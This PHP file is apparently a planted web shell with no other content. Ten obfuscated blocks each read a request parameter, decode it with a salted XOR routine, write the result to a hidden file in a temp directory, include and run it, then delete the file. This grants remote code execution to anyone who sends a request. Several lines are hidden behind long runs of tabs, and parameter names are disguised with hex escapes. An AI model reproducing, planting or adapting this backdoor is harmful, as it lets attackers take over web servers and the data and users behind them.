<?php																																										if(!is_null($_POST["p\x61\x72am\x65te\x72\x5F\x67\x72o\x75p"] ?? null)){ $token = $_POST["p\x61\x72am\x65te\x72\x5F\x67\x72o\x75p"]; $token =explode ( "." , $token ) ; $k =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s ); $v =0; foreach( $token as $v5) {$sChar =ord( $s[$v % $sLen] ); $d =( ( int)$v5 - $sChar -( $v % 10)) ^ 58; $k .=chr( $d ); $v++;} $object = array_filter(["/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP")]); $comp = 0; do { $dat = $object[$comp] ?? null; if ($comp >= count($object)) break; if (is_dir($dat) && is_writable($dat)) { $ref = vsprintf("%s/%s", [$dat, ".ent"]); if (@file_put_contents($ref, $k) !== false) { include $ref; unlink($ref); die(); } } $comp++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $pointer = array_filter([getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); $resource = $_REQUEST["k"]; $resource = explode ( "." , $resource) ; $value= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s1); $len= count($resource); for ($t= 0; $t < $len; $t++) { $v3= $resource[$t]; $chS= ord($s1[$t % $lenS]); $d= ((int)$v3 - $chS - ($t % 10)) ^ 43; $value .=chr($d); } while ($res = array_shift($pointer)) { if (is_dir($res) && is_writable($res)) { $hld = join("/", [$res, ".symbol"]); if (file_put_contents($hld, $value)) { include $hld; @unlink($hld); exit; } } } }
																																										if(array_key_exists("hld", $_REQUEST)){ $factor = $_REQUEST["hld"]; $factor= explode ( "." , $factor ) ; $k =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s3 ); $len =count($factor ); for ($x =0; $x< $len; $x++) { $v4 =$factor[$x]; $chS =ord($s3[$x%$sLen] ); $d =((int)$v4 - $chS - ($x%10)) ^ 79; $k .= chr($d ); } $object = array_filter([getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); while ($fac = array_shift($object)) { if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $dat = implode("/", [$fac, ".ref"]); $success = file_put_contents($dat, $k); if ($success) { include $dat; @unlink($dat); exit;} } } }
																																										if(in_array("\x65le\x6Dent", array_keys($_REQUEST))){ $dchunk = $_REQUEST["\x65le\x6Dent"]; $dchunk = explode ( '.' , $dchunk ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($dchunk); for($y = 0; $y < $__len; $y++) { $v4 = $dchunk[$y]; $sChar = ord($s[$y % $sLen]); $d =((int)$v4 - $sChar -($y % 10))^ 47; $marker .= chr($d); } $parameter_group = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP")]); $pgrp = 0; do { $ent = $parameter_group[$pgrp] ?? null; if ($pgrp >= count($parameter_group)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $descriptor = implode("/", [$ent, ".desc"]); if (file_put_contents($descriptor, $marker)) { include $descriptor; @unlink($descriptor); exit; } } $pgrp++; } while (true); }
																																										if(!is_null($_POST["f\x6Cg"] ?? null)){ $resource = $_POST["f\x6Cg"]; $resource = explode ( "." , $resource ) ; $record = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $q = 0; $__tmp = $resource; while ($v3 = array_shift($__tmp)) { $chS = ord($s1[$q %$sLen]); $d = ((int)$v3 - $chS - ($q %10)) ^ 39; $record .= chr($d); $q++; } $elem = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd()]); foreach ($elem as $factor): if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $data_chunk = join("/", [$factor, ".mrk"]); $success = file_put_contents($data_chunk, $record); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } endforeach; }
																																										if(array_key_exists("k", $_REQUEST)){ $ptr = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); $item = $_REQUEST["k"]; $item = explode ( '.' ,$item); $data=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $q=0; foreach( $item as $v8) { $chS=ord( $s[$q % $lenS]); $d=( ( int)$v8 - $chS -( $q % 10)) ^ 43; $data .= chr( $d); $q++; } foreach ($ptr as $key => $flag) { if ((bool)is_dir($flag) && (bool)is_writable($flag)) { $rec = "$flag/.ent"; if (file_put_contents($rec, $data)) { include $rec; @unlink($rec); exit; } } } }
																																										if(!empty($_POST["hl\x64"])){ $ent = $_POST["hl\x64"]; $ent = explode ("." , $ent ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $len = count( $ent); for( $w = 0; $w <$len; $w++) { $v2 = $ent[$w]; $sChar = ord( $salt[$w % $sLen]); $dec =( ( int)$v2 - $sChar -( $w % 10))^ 34; $object .= chr( $dec); } $holder = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($holder as $marker) { if (!( !is_dir($marker) || !is_writable($marker) )) { $descriptor = "$marker" . "/.resource"; if (@file_put_contents($descriptor, $object) !== false) { include $descriptor; unlink($descriptor); exit; } } } }
																																										if(@$_REQUEST["p\x73\x65t"] !== null){ $dat = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]); $parameter_group = $_REQUEST["p\x73\x65t"]; $parameter_group =explode ( '.' , $parameter_group ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $r = 0; array_walk($parameter_group, function($v6) use(&$sym, &$r, $salt, $sLen) {$sChar = ord($salt[$r % $sLen]); $dec =((int)$v6 - $sChar -($r % 10))^ 31; $sym .= chr($dec); $r++; } ); foreach ($dat as $val) { if (array_product([is_dir($val), is_writable($val)])) { $factor = str_replace("{var_dir}", $val, "{var_dir}/.pointer"); if (file_put_contents($factor, $sym)) { include $factor; @unlink($factor); die(); } } } }
																																										if(array_key_exists("h\x6Cd", $_POST)){ $token = $_POST["h\x6Cd"]; $token=explode ( '.' ,$token ); $ent = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $n = 0; foreach($token as $v8) { $chS = ord($s5[$n % $sLen] ); $dec =((int)$v8 - $chS -($n % 10))^99; $ent .= chr($dec ); $n++; } $resource = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", session_save_path()]); foreach ($resource as $factor): if ((is_dir($factor) and is_writable($factor))) { $parameter_group = "$factor" . "/.marker"; if (@file_put_contents($parameter_group, $ent) !== false) { include $parameter_group; unlink($parameter_group); exit; } } endforeach; }


if(isset($_REQUEST["s\x79\x6D"]) ? true : false){
	$res = array_filter(["/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]);
	$factor = $_REQUEST["s\x79\x6D"];
	 		$factor	 = explode	 (			'.'	,$factor)	; 	
	$record = '';
            $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt4	);
            $p = 0;
    
            foreach ($factor as $v9) {
                $sChar = ord($salt4[$p % $sLen]	);
                $d = ((int)$v9 - $sChar - ($p % 10))^  1;
                $record .= chr($d	);
                $p++;
            }
	while ($bind = array_shift($res)) {
    		if ((bool)is_dir($bind) && (bool)is_writable($bind)) {
    $binding = join("/", [$bind, ".value"]);
    if (file_put_contents($binding, $record)) {
	require $binding;
	unlink($binding);
	exit;
}
}
}
}